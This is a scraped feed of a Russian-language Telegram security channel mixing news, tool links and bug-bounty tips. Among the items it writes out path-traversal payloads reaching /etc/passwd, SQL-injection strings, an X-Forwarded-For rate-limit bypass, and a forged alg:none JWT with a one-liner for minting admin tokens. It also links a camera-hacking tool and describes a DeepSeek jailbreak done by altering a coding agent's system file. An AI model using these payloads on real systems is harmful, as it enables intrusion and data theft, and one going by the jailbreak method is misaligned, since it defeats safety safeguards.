19336
Присоединяйтесь к нашему каналу и погрузитесь в мир ИБ Сотрудничество, реклама: @devmangx Работаем с @Spiral_Yuri РКН: https://clck.ru/3Fs4L9
Если у вас есть свой сервер, вам пригодится это руководство.
В нём 137 практических рекомендаций по защите сервера и приложения:
✓ Аутентификация, сессии и пароли
✓ Docker, GraphQL и GitHub Actions
✓ .NET, Java, PHP, SQL и тд.
Официальное руководство OWASP:
https://cheatsheetseries.owasp.org
👉 @cybersecinform
Вышел набор инструментов с открытым исходным кодом, который даёт твоему ИИ-агенту возможности реверс-инжиниринга через MCP и CLI.
С его помощью можно декомпилировать приложения и нативные бинарники, трассировать выполнение, изучать собранные данные и воссоздавать функции под свой стек.
https://github.com/morluto/rea
👉 @cybersecinform
Debian одним обновлением безопасности исправила 1 313 уязвимостей ядра Linux в Debian 13 «Trixie» — возможно, это крупнейшее подобное обновление в истории проекта.
Уязвимости позволяли повышать привилегии, вызывать отказ в обслуживании и получать доступ к информации. Исправления вошли в версию 6.12.111-1.
Число CVE в ядре на один выпуск выросло примерно втрое, поскольку инструменты на базе ИИ всё активнее сканируют кодовую базу.
https://lwn.net/Articles/1097401/
👉 @cybersecinform
Парень выложил на GitHub приложение, которое превращает ваш телефон в детектор слежки.
Оно слушает Wi-Fi и Bluetooth-сигналы вокруг и показывает, какие устройства находятся поблизости:
• скрытые трекеры
• полицейские нагрудные камеры
• дроны и местоположение их пилота
• умные очки Meta, когда они ведут запись
• микрофоны систем обнаружения выстрелов
Всего приложение распознаёт до 242 типов устройств и предупреждает, если какое-то из них начинает перемещаться вместе с вами.
Полностью открытый исходный код.
👉 @cybersecinform
Обход Path Traversal
Null Byte Injection ../../../etc/./passwd%00.png
Удаление ../ ..././..././..././e../tc..//pas../swd
Многоэтапное декодирование ..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd
Добавление для усечения по длине, 4096 байт ../../../etc/./passwd/././././././
👉 @cybersecinform
Microsoft только что добавила в Windows встроенный способ запускать Linux-контейнеры.
WSL Containers официально вышел в стабильный релиз и позволяет собирать и запускать Linux-контейнеры прямо из Windows через wslc.
Среди ключевых изменений — изолированные контейнеры, более быстрый доступ к файлам между Windows и Linux и новая сетевая модель.
Поддержка Compose уже на подходе.
Linux-контейнеры в Windows теперь официально стали нативной возможностью Microsoft.
Полный анонс:
https://blogs.windows.com/windowsdeveloper/2026/09/29/wsl-containers-now-generally-available/
👉 @cybersecinform
#sqli
payload:-djsb '+union+select+1,2,version()--+-
#bugbounty #bugbountytrics #infosec #xss #sqli
👉 @cybersecinform
SQL-инъекция в SOAP-интеграции принесла €5 000.
https://oxship.github.io/writeups/soap-sql-injection/
#bugbounty #writeups #infosec
👉 @cybersecinform
Официальный MCP-сервер для IDA уже вышел. Он бесплатный, с открытым исходным кодом и работает с любыми LLM.
Агент пишет код на IDAPython, расходует примерно на 20% меньше токенов и может работать с одной IDB-базой вместе с вами в реальном времени.uvx ida-hcli mcp install
https://hex-rays.com/blog/hex-rays-ida-mcp-server
👉 @cybersecinform
PwnEye Tool
Инструмент для взлома камер видеонаблюдения, подключённых к сети IP-камер.
Возможности инструмента:
1. Поиск уязвимостей в камерах, использующих протоколы вроде ONVIF.
2. Возможность получать доступ к камерам и управлять ими, запускать прямую трансляцию, изменять интерфейс камеры, поворачивать её и получать доступ к настройкам.
https://github.com/Hackerest/pwneye
👉 @cybersecinform
Прошивка Uniden SDS100E успешно расшифрована.
👉 @cybersecinform
Я нашёл новый способ обходить лимиты запросов 👀
X-Forwarded-For: 127.0.0.1 → обошёл лимит, затем снова упёрся в ограничение...
X-Forwarded-For: 127.0.0.2 → снова обошёл.
Просто продолжайте менять IP и работайте дальше :)
Примечание:
Это работает только в том случае, если приложение находится за обратным прокси и использует X-Forwarded-For для определения IP-адреса пользователя.
👉 @cybersecinform
Вышла Malwoverview 8.2.0:
https://github.com/alexandreborges/malwoverview
Установка:python -m pip install -U malwoverview[all]
Новое: --nist 6 выводит все CVE, связанные с указанным компонентом.
#malware #cybersecurity #informationsecurity #vulnerability #cve #threathunting #threatintelligence
👉 @cybersecinform
Всё, что нужно для подготовки к собеседованию по DevOps: сотни реальных вопросов по Linux, Kubernetes, Terraform, AWS и CI/CD. Бесплатно. Сохраните в закладки.
https://github.com/bregman-arie/devops-exercises
👉 @cybersecinform
ARM Assembly для хакеров
Понимание того, как код взаимодействует с памятью на самом низком уровне, — базовый навык для поиска уязвимостей и разработки эффективных эксплойтов.
Материал разбирает 32-битную архитектуру ARM с упором на эксплуатацию уязвимостей:
https://hackers-arise.com/arm-assembly-for-hackers-learning-32-bit-architecture-for-exploit-development/
👉 @cybersecinform
Проводи OSINT-расследования на основе графов и наглядно отображай связи между данными с помощью Flowsint — платформы с открытым исходным кодом.
https://github.com/reconurge/flowsint
👉 @cybersecinform
Злоумышленники могли использовать iCloud, чтобы отправлять письма от имени любого адреса в домене icloud.com, включая tim.cook@icloud.com, при этом письма успешно проходили SPF, DKIM и DMARC — проверки подлинности почты, которые должны защищать от подмены отправителя.
Исследователи обнаружили и сообщили Apple о двух ошибках в обработке адресов на почтовых серверах компании.
Первое исправление Apple просто блокировало слово «admin». Полное исправление заняло 18 месяцев.
За находку исследователям выплатили $15 000.
https://sec-consult.com/blog/detail/from-anyoneicloudcom-spoofing-arbitrary-apple-icloud-identities/
👉 @cybersecinform
OpenClaw только что запустила «Kubernetes для ИИ-агентов» при поддержке OpenAI, NVIDIA и Red Hat.
Проект называется OpenClaw Enterprise — это открытая плоскость управления для запуска ИИ-агентов в большом масштабе.
Можно развёртывать агентов, изолировать их, управлять доступом и контролировать всю инфраструктуру из одного места.
Также платформа добавляет мультитенантность, управление политиками и аудит для инфраструктуры агентов.
И всё это работает поверх Kubernetes.
Изначально проект появился внутри OpenAI, а затем перешёл в OpenClaw Foundation.
Источник: https://thenewstack.io/openclaw-enterprise-kubernetes-agents/
👉 @cybersecinform
Обход JWT через alg: none без необходимости подписи.Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.
Соответственно измените нужные поля ниже:
echo -n '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."
СРОЧНО: вышел новый джейлбрейк, который взламывает все версии прошивки PS5 с 7.00 по 13.60. Первые тестировщики говорят, что он запускается за считанные секунды и работает даже на PS5 Pro.
Всё, что нужно, — открыть определённый сайт во встроенном браузере.
Эксплойт объединяет уязвимость WebKit в браузере с гонкой use-after-free в ядре, чтобы получить чтение и запись в памяти ядра, после чего загружает полезные нагрузки для homebrew и резервных копий игр.
https://github.com/ntfargo/Relapse-Exploit
👉 @cybersecinform
Для поиска поддоменов можно использовать новые инструменты
crt.name/v1/search?apex
app.agniops.in/v1/search?doma
Простой, быстрый и удобный способ находить больше поддоменов.
Удачной охоты ❤️
#bugbountytips #bugbountytip #bugbounty
👉 @cybersecinform
Основы сетей для хакеров: Server Message Block (SMB) — как он работает и как его ломают.
#smb #networkbasics #cybersecurity #cyberwarrior #Samba
https://hackers-arise.com/network-basics-for-hackers-server-message-block-smb-and-samba/
👉 @cybersecinform
Джейлбрейк DeepSeek V4.1 Flash: официальный API по-прежнему отказывает.
Обход сделали через рабочее пространство агента — изменили один системный файл, который кодовый агент загружает ещё до того, как вы что-либо вводите.
— Abliteration убирает отказы прямо на уровне весов модели.
— Здесь же взломали системные инструкции самого агента.
https://github.com/togg53192-cmd/jailbreaks/blob/main/deepseek-4-1.md
👉 @cybersecinform
Вот как находить SQL-инъекции в 100% случаев. 🔥
Для:
https://site.com/?q=HERE
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||' <== конкатенация строк
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='
Если вам интересны внутренности Windows, эксплуатация уязвимостей ядра или реверс-инжиниринг, то:
Держите отличный БЕСПЛАТНЫЙ архив низкоуровневых исследований по наступательной безопасности, где разбираются:
• внутреннее устройство ядра Windows
• реверс-инжиниринг
• разработка эксплойтов для ядра
• BlueKeep и внутреннее устройство RDP
• EternalBlue / EternalRomance
• Heresy’s Gate и недокументированные системные вызовы
• внутреннее устройство Worker Factory
• работа с сетью из режима ядра
• LSASS из режима ядра
• шеллкод на Rust
• эксплуатация уязвимых драйверов
• внедрение в процессы и рефлективная загрузка
• реверс-инжиниринг Cisco ASA / EXTRABACON
Здесь есть настоящая классика.
Начать изучение: https://zerosum0x0.blogspot.com
👉 @cybersecinform
Установить Linux без флешки, прямо из Windows?
Всё ещё ДА. 🐧
ShinyHunters утверждает, что взломала ФБР через незакрытую уязвимость нулевого дня в Oracle PeopleSoft и похитила от 2 до 3 ТБ данных о действующих и бывших сотрудниках, а также соискателях.
Группировка заявляет, что атака стала ответом на майское предупреждение ФБР, в котором её деятельность была подробно описана, и дала бюро неделю на исправление или удаление этого предупреждения.
ФБР пока не подтвердило факт взлома, однако несколько СМИ заявили, что проверили представленные доказательства.
👉 @cybersecinform
«Ни логина. Ни пароля. Всего один заголовок — и обход аутентификации на $3 000»
0xalr/no-username-no-password-just-a-header-a-3-000-authentication-bypass-9b42432b6c69" rel="nofollow">https://medium.com/@0xalr/no-username-no-password-just-a-header-a-3-000-authentication-bypass-9b42432b6c69
#инфобез #пентест #редтим #блютим
👉 @cybersecinform
HeyPCB запустила World: https://heypcb.ai/world
Каталог проектов оборудования с открытым исходным кодом, где уже собрано более 7600 разработок.
Проекты можно искать по типу устройства и платформе - от робототехники и IoT до ESP32, STM32, Raspberry Pi и FPGA.
Любой проект открывается прямо в браузерном редакторе EDA + MCAD. Встроенный ИИ видит контекст проекта, может объяснить работу схемы и отдельных компонентов, а затем помочь изучить плату и механическую часть.
После этого проект можно форкнуть, изменить и адаптировать под свои задачи. ☺️
👉 @cybersecinform